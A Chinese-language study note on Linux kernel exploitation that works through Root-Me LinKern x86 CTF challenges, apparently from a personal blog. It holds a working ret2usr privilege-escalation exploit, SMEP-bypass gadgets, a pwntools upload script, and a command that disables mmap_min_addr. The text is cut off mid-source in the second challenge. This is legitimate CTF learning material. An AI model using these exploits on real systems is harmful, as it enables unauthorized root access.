0%

kernel study

基础知识

这里只是简单记录了一些笔者认为的重点。

概念性

  1. cred => 进程权限结构体
  2. smep => 执行
  3. smap => 访问
  4. MMAP_MIN_ADDR => 允许mmap映射的最低内存地址
  5. LKMs

    1. 相当于内核的可执行程序
    2. 不能单独运行,在运行时被链接到内核
  6. lsmod: 列出已经加载的模块
  7. module_init/module_exit:在载入/卸载这个驱动时自动运行
  8. C99

    1. C编程语言标准的过去版本,扩展了版本 C90
    2. 允许使用可变长度数组
  9. modules:内核扩展模块
  10. bzImage: 压缩的kernel内存映像
  11. vmlinux:未压缩的kernel内存映像
  12. rootfs.cpio: 文件系统映像
  13. alloc_chrdev_region:动态分配设备编号

IRET

1. 相同保护级别

从堆栈弹出

  1. 代码段选择子 => CS寄存器
  2. 指令指针 => IP寄存器
  3. 标志寄存器 => EFLAGS寄存器

不同的保护级别

除了以上3点外,还有

  1. 堆栈段选择子 => SS寄存器
  2. 堆栈指针 => SP寄存器

返回到用户模式

栈上保存了trap frame,用于恢复信息

1
2
3
4
5
6
7
8
struct trap_frame 
{
void* eip; // instruction pointer +0
uint32_t cs; // code segment +4
uint32_t eflags; // CPU flags +8
void* esp; // stack pointer +12
uint32_t ss; // stack segment +16
} __attribute__((packed));

thread_info

内核堆栈与thread_info结构共享4k / 8k的总大小

1
2
3
4
union thread_union {
struct thread_info thread_info;
unsigned long stack[THREAD_SIZE/sizeof(long)];
};

Click to close image, click and drag to move. Use arrow keys for next and previous.

restart_block

  1. thread_info中的一个成员
  2. 是每个线程的结构
  3. 跟踪信息和参数 => 重新启动系统调用
1
2
struct restart_block {
long (*fn)(struct restart_block *);

有一个fn的函数指针,控制该指针 => 劫持EIP

调用fn

用户态调用fn

1
2
3
4
5
SYSCALL_DEFINE0(restart_syscall)
{
struct restart_block *restart = &current_thread_info()->restart_block;
return restart->fn(restart);
}
1
syscall(SYS_restart_syscall);

mmap

1
void *mmap(void *addr, size_t length, int prot, int flags,int fd, off_t offset);
  1. 返回值:成功返回创建的映射区的首地址;失败返回宏MAP_FAILED。

  2. 参数:

    addr: 指向欲映射的内存起始地址,通常设为 NULL,代表让系统自动选定地址,映射成功后返回该地址。

    length: 欲创建映射区的大小。

    prot: 映射区权限PROT_READ、PROT_WRITE、PROT_READ|PROT_WRITE。

    flags: 标志位参数(常用于设定更新物理区域、设置共享、创建匿名映射区);

    MAP_SHARED: 会将映射区所做的操作反映到物理设备(磁盘)上。

    MAP_PRIVATE: 映射区所做的修改不会反映到物理设备。

    fd: 用来建立映射区的文件描述符。

    offset: 映射文件的偏移(4k的整数倍)。

memcpy

从源source所指的内存地址的起始位置开始拷贝n个字节到目标destin所指的内存地址的起始位置中。

函数原型

1
void memcpy(void destin, void source, unsigned n);

参数

  • destin— 指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。
  • source— 指向要复制的数据源,类型强制转换为 void* 指针。
  • n— 要被复制的字节数。

返回值

该函数返回一个指向目标存储区destin的指针。

kptr_restrict

kptr_restrict 权限描述
2 内核将符号地址打印为全0, root和普通用户都没有权限
1 root用户有权限读取, 普通用户没有权限
0 root和普通用户都可以读取

tty

https://blog.csdn.net/zhoucheng05_13/article/details/86510469

  1. 虚拟控制台
  2. 串口
  3. 伪终端设备

ptmx

伪终端的master端

kmalloc

使用slab/slub分配器,使用多级的结构进行管理

首先有cache

cache结构

  1. 空对象
  2. 部分使用的对象
  3. 完全使用中的对象

对象就是指内存对象,也就是用来分配或者已经分配的一部分内核空间。

slab/slub分配器

  • slab分配器严格按照cache去区分,不同cache的无法分配在一页内

  • slub分配器则较为宽松,不同cache如果分配相同大小,可能会在一页内。

mount

mount是Linux下的一个命令,它可以将分区挂接到Linux的一个文件夹下,从而将分区和该目录联系起来,因此我们只要访问这个文件夹,就相当于访问该分区了。

file_operations

属于Linux 字符设备驱动结构

  1. Linux使用file_operations结构访问驱动程序的函数,这个结构的每一个成员的名字都对应着一个调用。
  2. 用户进程利用在对设备文件进行诸如read/write操作的时候,系统调用通过设备文件的主设备号找到相应的设备驱动程序,然后读取这个数据结构相应的函数指针,接着把控制权交给该函数,这是Linux的设备驱动程序工作的基本原理。

read函数

这个函数用来从设备获取数据

1
ssize_t (*read) (struct file * filp, char __user * buffer, size_t    size , loff_t * p);
  • 指针参数 filp 为进行读取信息的目标文件
  • 指针参数buffer 为对应放置信息的缓冲区(即用户空间内存地址)
  • 参数size为要读取的信息长度
  • 参数 p 为读的位置相对于文件开头的偏移,在读取信息后,这个指针一般都会移动,移动的值为要读取信息的长度值

write函数

发送数据给设备

1
ssize_t (*write) (struct file * filp, const char __user *   buffer, size_t count, loff_t * ppos);
  • 参数filp为目标文件结构体指针
  • buffer为要写入文件的信息缓冲区
  • count为要写入信息的长度
  • ppos为当前的偏移位置,这个值通常是用来判断写文件是否越界

内核态函数调用

memcpy() => copy_from_user()/copy_to_user()

都是将rsi的数据拷贝到rdi

  • copy_from_user()

    • 原型:

      1
      copy_from_user(void *to, const void __user *from, unsigned long n)

      @to 将数据拷贝到内核的地址

      @from 需要拷贝数据的地址

    • 从用户空间拷贝数据到内核空间

    • 返回值

      • 失败返回没有被拷贝的字节数
      • 成功返回0
  • copy_to_user()

cred 结构体

源码

  • 内核使用cred结构体记录进程的权限(uid,gid等)
  • 每个进程中都有一个 cred 结构
  • 如果能修改某个进程的cred,那么也就修改了这个进程的权限。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/*
* The security context of a task
*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*
* Note that some members of this structure belong to both categories - the
* LSM security pointer for instance.
*
* A task has two security pointers. task->real_cred points to the objective
* context that defines that task's actual details. The objective part of this
* context is used whenever that task is acted upon.
*
* task->cred points to the subjective context that defines the details of how
* that task is going to act upon another object. This may be overridden
* temporarily to point to another security context, but normally points to the
* same context as task->real_cred.
*/
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;

fork

将运行着的程序分成2个(几乎)完全一样的进程,每个进程都启动一个从代码的同一位置开始执行的线程。

返回值:

  • 负值:创建子进程失败。
  • 零:返回到新创建的子进程。
  • 正值:返回父进程或调用者。该值包含新创建的子进程的进程ID 。

具体操作

启动

可以创建一个start.sh文件,拷贝下面的内容,其中需要修改path路径为存放文件的路径。

也可以直接在命令行执行

1
qemu-system-i386 -kernel bzImage -s -append nokaslr -initrd initramfs.img -fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/linkern  -device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme
1
2
3
4
5
6
qemu-system-i386 -s \
-kernel bzImage \
-append nokaslr \
-initrd initramfs.img \
-fsdev local,security_model=passthrough,id=fsdev-fs0,path=/home/winter/nullpoint/ \
-device virtio-9p-pci,id=fs0,fsdev=fsdev-fs0,mount_tag=rootme

调试

调试方法

调试x64内核=>设置架构=>set architecture i386:x86-64:intel

第一部分:c文件

  1. 编写一个c程序,如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    int main(){
    char Padding[9] = "AAAAAAAA";
    char Eip[5] ;
    int fd = open("/dev/tostring",O_WRONLY);
    for(int i = 0;i < 0x40; i++)
    write(fd,Padding,sizeof(Padding));
    write(fd,Eip,sizeof(Eip));
    return 0;
    }
  2. 编译为静态文件

    1
    g++ -m32 -static -o test test.cpp
  3. 解压文件系统

    https://www.cnblogs.com/carriezhangyan/p/9407567.html

    可以将下面的放在一个first.sh脚本中执行

    1
    2
    3
    4
    5
    6
    #!/bin/bash
    mv initramfs.img initramfs.img.gz
    gunzip initramfs.img.gz
    mkdir initramfs
    cd initramfs
    cpio -idvm < ../initramfs.img

    image-20210531143052634

  4. 将编译好的文件放入文件夹

    image-20210531143128795

  5. 打包文件系统

    1
    find . | cpio -H newc -o > ../initramfs.img
  6. 执行start.sh,此时qemu里面可以看到test文件

    image-20210531143323513

以上步骤整合成一个自动打包c文件并启动的脚本

1
2
3
4
5
6
7
8
#!/bin/bash
gcc -m32 -static -o exp exp.c
cp exp.c initramfs
cp exp initramfs
cd initramfs
find . | cpio -H newc -o > ../initramfs.img
cd ..
./start.sh

第二部分:vmlinux

  • bzImage:理解为压缩后的kernel文件
  • vmlinux:静态编译、未经过压缩

若程序没有给vmlinux,给了bzImage,可以自行提取

网站拷贝代码,命名为extract-vmlinux文件

1
./extract-vmlinux ./bzImage > vmlinux
1
2
winter@ubuntu:~/linkern$ file vmlinux 
vmlinux: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c5ad14eb97bda6a8093fa59483ca5ad055d69638, stripped

第三部分:查找LKMs模块基址

1.查找模块名

1
2
lsmod
#查看所有模块,模块名为basic1_ch1,得到基址.text基址:0xc8824000

image-20210531150406602

2.进入节区文件夹,访问.text.bss.data

路径:/sys/module/[模块名]/sections

image-20210531150708860

第四部分:gdb

1
gdb vmlinux
1
2
add-symbol-file lkms .text地址 (-s .bss .bss地址 -s .data .data地址)
add-symbol-file ./initramfs/lib/modules/4.10.3/rootme/tostring.ko 0xc8824000 -s .bss 0xc8824600 -s .data 0xc8824360
1
target remote:1234	[启动文件里面-s默认端口是1234](指定端口:-gdb tcp::4869 )

image-20210531151735100

1
2
#下断点,一般下在write、read上面
b tostring_write
1
c

image-20210531151809409

第五部分:执行qemu里的c程序

1
2
./test
#程序讲断在write函数上

image-20210531151832106

提权

kernel 中有两个可以方便的改变权限的函数:

  • int commit_creds(struct cred *new)
  • struct cred* prepare_kernel_cred(struct task_struct* daemon)

地址

root权限下,执行以下命令

1
2
grep commit_creds /proc/kallsyms 
grep prepare_kernel_cred /proc/kallsyms

image-20210602220742358

1
2
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;

步骤

  1. 执行下面函数,从而将权限提升为root
1
commit_creds(prepare_kernel_cred(0))
  1. iret返回到用户模式

Bypass SMEP

绕过来由

smep是不允许处于内核态的时候执行用户态代码。

  • 之前如果没有开启smep,一般在提权成功后,在切换内核栈和用户栈时候,设置里面的寄存器值,使eip执行system(‘/bin/sh’)
  • 如果开启了smep,则不允许这么做了,故想办法绕过smep,这样就能和之前一样的做法

smep原理

内核是根据CR4寄存器的值来判断smep保护是否开启的

* 当`CR4`寄存器的第`20`位是`1`时,保护开启
* 是`0`时,保护关闭。

以下是CR4寄存器的各标志位:

Click to close image, click and drag to move. Use arrow keys for next and previous.

因此,如果在内核中存在gadget能让我们修改CR4寄存器的值我们就可以手动来关闭SMEP保护了。

基本方法

  1. 首先将bzImage解压出vmlinux

  2. 由于文件很大,gadget很多,故将gadget导入到一个文件中

    ROPgadget --binary ./vmlinux > gadgets

  3. 在文件中寻找可以控制cr4寄存器的gadget,如

    1
    2
    0xc10174fc : pop eax ; ret
    0xc1045053 : mov cr4, eax ; pop ebp ; ret

trick

1.mmap_min_addr

1
echo 0 > /proc/sys/vm/mmap_min_addr

解除了mmap_min_addr保护

因为最低可以映射到0,哪里都可以映射,相当于没限制了

题目

1.[Root-Me]LinKern x86 – Buffer overflow basic 1

下载文件

下载地址

1
2
ssh -p 2223 app-systeme-ch1@challenge03.root-me.org
#password:app-systeme-ch1

image-20210603142323422

利用scp将文件拷贝倒本地

1
2
3
scp -P 2223 app-systeme-ch1@challenge03.root-me.org://challenge/app-systeme/ch1/* .
scp -P 2223 ./poc.c app-systeme-ch1@challenge03.root-me.org://challenge/app-systeme/ch1/
#password:app-systeme-ch1

分析init

  1. 解压
  2. cat init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
winter@ubuntu:~/linkern/initramfs$ cat init
#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys

#
# flag
#
//提示flag在passwd,并且挂载到了/dev/sda
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd

#
# share
#
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/

#
# module
#
//lkms加载到了/lib/modules/*/rootme/*.ko
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/tostring
# mmap_min_addr to 0 for the challenge to be simpler for now ;)
echo 0 > /proc/sys/vm/mmap_min_addr

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
umount /dev

poweroff -f
  • 11、12行提示flag在passwd,并且挂载到了/dev/sda
  • 25行中,需要分析的LKMs被加载到了/lib/modules/*/rootme/*.ko

分析LKMs文件

进入/lib/modules/*/rootme/*.ko,找到LKMs文件

image-20210603143340595

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/linkern/initramfs/lib/modules/4.10.3/rootme$ file tostring.ko 
tostring.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1]=de2b579770a3ff522ee27200d85cb2bc1723ef22, not stripped
winter@ubuntu:~/linkern/initramfs/lib/modules/4.10.3/rootme$ checksec tostring.ko
[*] '/home/winter/linkern/initramfs/lib/modules/4.10.3/rootme/tostring.ko'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

(一般情况)加载到ida中分析,不过本程序给了源码,可以直接分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class

struct tostring_s {
int pointer;
unsigned long long int tostring_stack[64];
ssize_t (*tostring_read)(struct file *f, char __user *buf, size_t len, loff_t *off);
};

static struct tostring_s tostring;


static int tostring_open(struct inode *i, struct file *f)
{
printk(KERN_INFO "Tostring: open()\n");
return 0;
}

static int tostring_close(struct inode *i, struct file *f)
{
printk(KERN_INFO "Tostring: close()\n");
return 0;
}

static ssize_t tostring_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
printk(KERN_INFO "Tostring: read()\n");
return(tostring.tostring_read)(f, buf, len, off);
}

static ssize_t tostring_read_hexa(struct file *f, char __user *buf, size_t len, loff_t *off)
{
printk(KERN_INFO "Tostring: read_hexa()\n");
if (tostring.pointer > 0)
return(snprintf(buf,len,"%16llx\n",tostring.tostring_stack[--tostring.pointer]));
else return(0);
}

static ssize_t tostring_read_dec(struct file *f, char __user *buf, size_t len, loff_t *off)
{
printk(KERN_INFO "Tostring: read_dec()\n");
if (tostring.pointer > 0)
return(snprintf(buf,len,"%lld\n",tostring.tostring_stack[--tostring.pointer]));
else return(0);
}



static ssize_t tostring_write(struct file *f, const char __user *buf,size_t len, loff_t *off)
{

char *bufk;

printk(KERN_INFO "Tostring: write()\n");
// rajout du 0 final

bufk = kmalloc(len + 1, GFP_DMA);


if (bufk){

if (copy_from_user(bufk, buf, len))
return -EFAULT;

bufk[len] = '\0';


if (bufk[0]=='M') {
if (bufk[1]=='H') tostring.tostring_read= tostring_read_hexa;
else if (bufk[1]=='D') tostring.tostring_read= tostring_read_dec;
}
else {
printk("tostring: insertion %d\n",*((int *) bufk));
tostring.tostring_stack[tostring.pointer++]= *((long long int *) bufk);;
}
}
kfree(bufk);
return len;

}

static struct file_operations pugs_fops =
{
.owner = THIS_MODULE,
.open = tostring_open,
.release = tostring_close,
.read = tostring_read,
.write = tostring_write
};

static int __init tostring_init(void) /* Constructor */
{
printk(KERN_INFO "Tostring registered");
tostring.pointer=0;
tostring.tostring_read= tostring_read_hexa;
if (alloc_chrdev_region(&first, 0, 1, "tostring") < 0)
{
return -1;
}
if ((cl = class_create(THIS_MODULE, "chardrv")) == NULL)
{
unregister_chrdev_region(first, 1);
return -1;
}
if (device_create(cl, NULL, first, NULL, "tostring") == NULL)
{
printk(KERN_INFO "Tostring error");
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}
cdev_init(&c_dev, &pugs_fops);
if (cdev_add(&c_dev, first, 1) == -1)
{
device_destroy(cl, first);
class_destroy(cl);
unregister_chrdev_region(first, 1);
return -1;
}

printk(KERN_INFO "<Major, Minor>: <%d, %d>\n", MAJOR(first), MINOR(first));
return 0;
}

static void __exit tostring_exit(void) /* Destructor */
{
unregister_chrdev_region(first, 3);
printk(KERN_INFO "Tostring unregistered");
}

module_init(tostring_init);
module_exit(tostring_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("F.Boisson");
MODULE_DESCRIPTION("Module Tostring Integers Dec/Hex");

重点分析read和write函数

read
  • 打印字符串Tostring: read()\n

  • 调用了0x8000984,参数是输入的数据

    image-20210603145537156

    0x8000984在bss段上,且上面有一个0x8000784、0x8000788

    image-20210603145615870

    image-20210603145652475

write
  • 打印字符串Tostring: write()\n

  • 申请一块空间 => bufk = kmalloc(len + 1, GFP_DMA)

  • 将write函数的数据写入申请的chunk中 => copy_from_user(bufk, buf, len)

  • 将输入的数据拷贝到栈上 => tostring.tostring_stack[tostring.pointer++]= *((long long int *) bufk);

    • 一次拷贝long long int,也就是八字节
    • 拷贝的地址是0x8000784

    image-20210603150742793

  • 释放,结束

漏洞利用

  1. 程序write时候,将数据拷贝到栈上0x8000784
  2. 执行read函数,会执行栈上的地址0x8000984
  3. 所以,如果一直执行write函数,覆盖到0x8000984地址为shellcode,就可以get shell
  4. 距离是0x200,因为一次只能写八字节,需要循环写40次
  5. 然后将0x8000984地址覆盖成shellcode
  6. 调用read函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
struct trap_frame{
void *eip;
uint32_t cs;
uint32_t eflags;
void *esp;
uint32_t ss;
}__attribute__((packed));
struct trap_frame tf;
static char receive[256];
void get_shell(void){
execl("/bin/sh", "sh", NULL);
}
void init_tf_work(void){
asm("pushl %cs;popl tf+4;" //set cs
"pushfl;popl tf+8;" //set eflags
"pushl %esp;popl tf+12;"
"pushl %ss;popl tf+16;");
tf.eip = &get_shell;
tf.esp -= 1024;
}
#define KERNCALL __attribute__((regparm(3)))
void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;
void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;
void payload(void){
commit_creds(prepare_kernel_cred(0));
asm("mov $tf,%esp;"
"iret;");
}

int main(void){
char Padding[9] = "AAAAAAAA"; //一次覆盖8字节
char Eip[5]; //shellcode地址
init_tf_work(); //初始化
int fd = open("/dev/tostring",2); //使用该驱动
for(int i = 0;i < 0x40; i++) //覆盖前面0x200的垃圾数据
write(fd,Padding,sizeof(Padding));
write(1,"OK!n",sizeof(Eip)); //友好提示
*((void**)(Eip)) = &payload; //将shellocde地址写入eip
write(fd,Eip,sizeof(Eip)); //将eip写入0x80000984
read(fd,receive,255); //执行read函数
return 0;
}
调试信息
  • ida中bss段的起始地址是0x8000780
  • 程序执行的data段起始地址是0xc8824600

所以,拷贝的起始地址0x8000780在调试的时候就是0xc8824604


执行一次write

image-20210603152453197

执行完40次write,再执行 write(fd,Eip,sizeof(Eip));【也就是将shellcode地址写入了0xc8824804这个地址】

image-20210603152841301

question

远程提权失败,也不知道为什么,,,权限是变了,但是变得很奇怪。。。

image-20210604143845221

本地ok

image-20210604143951129

image-20210604144004010

上传脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
#context.update(log_level='debug')

HOST = "challenge03.root-me.org"
PORT = 2223

USER = "app-systeme-ch1"
PW = "app-systeme-ch1"

def compile():
log.info("Compile")
# os.system("musl-gcc -w -s -static -o3 oob.c -o exp")
os.system("gcc -m32 -static -o exp poc.c")

def exec_cmd(cmd):
r.sendline(cmd)
r.recvuntil("$ ")

def upload():
p = log.progress("Upload")

with open("exp", "rb") as f:
data = f.read()

encoded = base64.b64encode(data)

r.recvuntil("$ ")

for i in range(0, len(encoded), 300):
p.status("%d / %d" % (i, len(encoded)))
exec_cmd("echo \"%s\" >> benc" % (encoded[i:i+300]))

exec_cmd("cat benc | base64 -d > bout")
exec_cmd("chmod +x bout")
exec_cmd("./bout")

p.success()

def exploit(r):
compile()
upload()

r.interactive()

return

if __name__ == "__main__":
if len(sys.argv) > 1:
session = ssh(USER, HOST, PORT, PW)
r = session.run("/bin/sh")
exploit(r)
else:
r = process("./startvm.sh")
print util.proc.pidof(r)
pause()
exploit(r)
musl-gcc编译32位
  • gcc编译的,没用musl-gcc

  • musl-gcc怎么编译32位的?没有-m32参数

2.[Root-Me]LinKern x86 - Null pointer dereference

下载文件

下载地址

1
2
ssh -p 2223 app-systeme-ch2@challenge03.root-me.org
密码:app-systeme-ch2

拷贝文件

1
2
scp -P 2223 app-systeme-ch2@challenge03.root-me.org:/challenge/app-systeme/ch2/* .
密码:app-systeme-ch2

分析init文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/sh

mount -t devtmpfs none /dev
mount -t proc proc /proc
mount -t sysfs sysfs /sys

#
# flag
#
mkdir -p /passwd
mount -t ext2 -o ro /dev/sda /passwd

#
# share
#
mkdir -p /mnt/share
mount -t 9p -o trans=virtio rootme /mnt/share/ -oversion=9p2000.L,posixacl,sync
chmod 777 /mnt/share/

#
# module
#
insmod /lib/modules/*/rootme/*.ko
chmod 666 /dev/tostring
# mmap_min_addr to 0 for the challenge to be simpler for now ;)
echo 0 > /proc/sys/vm/mmap_min_addr

#
# shell
#
cat /etc/issue
export ENV=/etc/profile
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
umount /dev

poweroff -f

和上一题的init差不多

分析LKMs文件

路径由init可知:/lib/modules/*/rootme/*.ko

image-20210603220411473

1
2
3
4
5
6
7
8
9
winter@ubuntu:~/nullpoint/initramfs/lib/modules/4.10.3/rootme$ file tostring.ko 
tostring.ko: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), BuildID[sha1]=d55b3e2795a90b029627ae2fcc47291702c1784b, not stripped
winter@ubuntu:~/nullpoint/initramfs/lib/modules/4.10.3/rootme$ checksec tostring.ko
[*] '/home/winter/nullpoint/initramfs/lib/modules/4.10.3/rootme/tostring.ko'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

同样给了源码,ch2.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/types.h>
#include <linux/kdev_t.h>
#include <linux/fs.h>
#include <linux/device.h>
#include <linux/cdev.h>
#include <asm/uaccess.h>
#include <linux/slab.h>

#define ISSPACE(c) ((c) == ' ' || ((c) >= '\t' && (c) <= '\r'))
#define ISASCII(c) (((c) & ~0x7f) == 0)
#define ISUPPER(c) ((c) >= 'A' && (c) <= 'Z')
#define ISLOWER(c) ((c) >= 'a' && (c) <= 'z')
#define ISALPHA(c) (ISUPPER(c) || ISLOWER(c))
#define ISDIGIT(c) ((c) >= '0' && (c) <= '9')

static unsigned long local_strtoul (
char* nstr,
char** endptr,
int base)
{
#if !(defined(__KERNEL__))
return strtoul (nstr, endptr, base); /* user mode */

#else
char* s = nstr;
unsigned long acc;
unsigned char c;
unsigned long cutoff;
int neg = 0, any, cutlim;

do
{
c = *s++;
} while (ISSPACE(c));

if (c == '-')
{
neg = 1;
c = *s++;
}
else if (c == '+')
c = *s++;

if ((base == 0 || base == 16) &&
c == '0' && (*s == 'x' || *s == 'X'))
{
c = s[1];
s += 2;
base = 16;
}
if (base == 0)
base = c == '0' ? 8 : 10;

cutoff = (unsigned long)ULONG_MAX / (unsigned long)base;
cutlim = (unsigned long)ULONG_MAX % (unsigned long)base;
for (acc = 0, any = 0; ; c = *s++)
{
if (!ISASCII(c))
break;
if (ISDIGIT(c))
c -= '0';
else if (ISALPHA(c))
c -= ISUPPER(c) ? 'A' - 10 : 'a' - 10;
else
break;

if (c >= base)
break;
if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim))
any = -1;
else
{
any = 1;
acc *= base;
acc += c;
}
}

if (any < 0)
{
acc = INT_MAX;
}
else if (neg)
acc = -acc;
if (endptr != 0)
*((const char **)endptr) = any ? s - 1 : nstr;
return (acc);
#endif
}

static dev_t first; // Global variable for the first device number
static struct cdev c_dev; // Global variable for the character device structure
static struct class *cl; // Global variable for the device class

struct tostring_s {
unsigned int pointer;
unsigned int pointer_max;
unsigned long long int *tostring_stack;
ssize_t (*tostring_read)(struct file *f, char __user *buf, size_t len, loff_t *off);
};

static struct tostring_s *tostring;


static unsigned int taille=2;

module_param(taille, int,1);
MODULE_PARM_DESC(taille, "Stack size in Ko");


static int tostring_open(struct inode *i, struct file *f){
printk(KERN_INFO "Tostring: open()\n");
return 0;
}

static int tostring_close(struct inode *i, struct file *f)
{
printk(KERN_INFO "Tostring: close()\n");
return 0;
}

static ssize_t tostring_read(struct file *f, char __user *buf, size_t len, loff_t *off)
{
printk(KERN_INFO "Tostring: read()\n");
return((tostring->tostring_read)(f, buf, len, off));
}

static ssize_t tostring_read_hexa(struct file *f, char __user *buf, size_t len, loff_t *off)
{
printk(KERN_INFO "Tostring: read_hexa()\n");
if (tostring->pointer > 0)
return(snprintf(buf,len,"%16llx\n",tostring->tostring_stack[--(tostring->pointer)]));
else return(0);
}

static int tostring_create(int tl) {
/* tostring=kmalloc(sizeof(struct tostring_s), GFP_DMA); */
taille=tl;
tostring->tostring_stack=kmalloc(taille*1024, GFP_DMA);
if (tostring->tostring_stack == NULL) return(-1);
tostring->pointer_max=(taille*1024)/sizeof(long long int);
tostring->tostring_read= tostring_read_hexa;
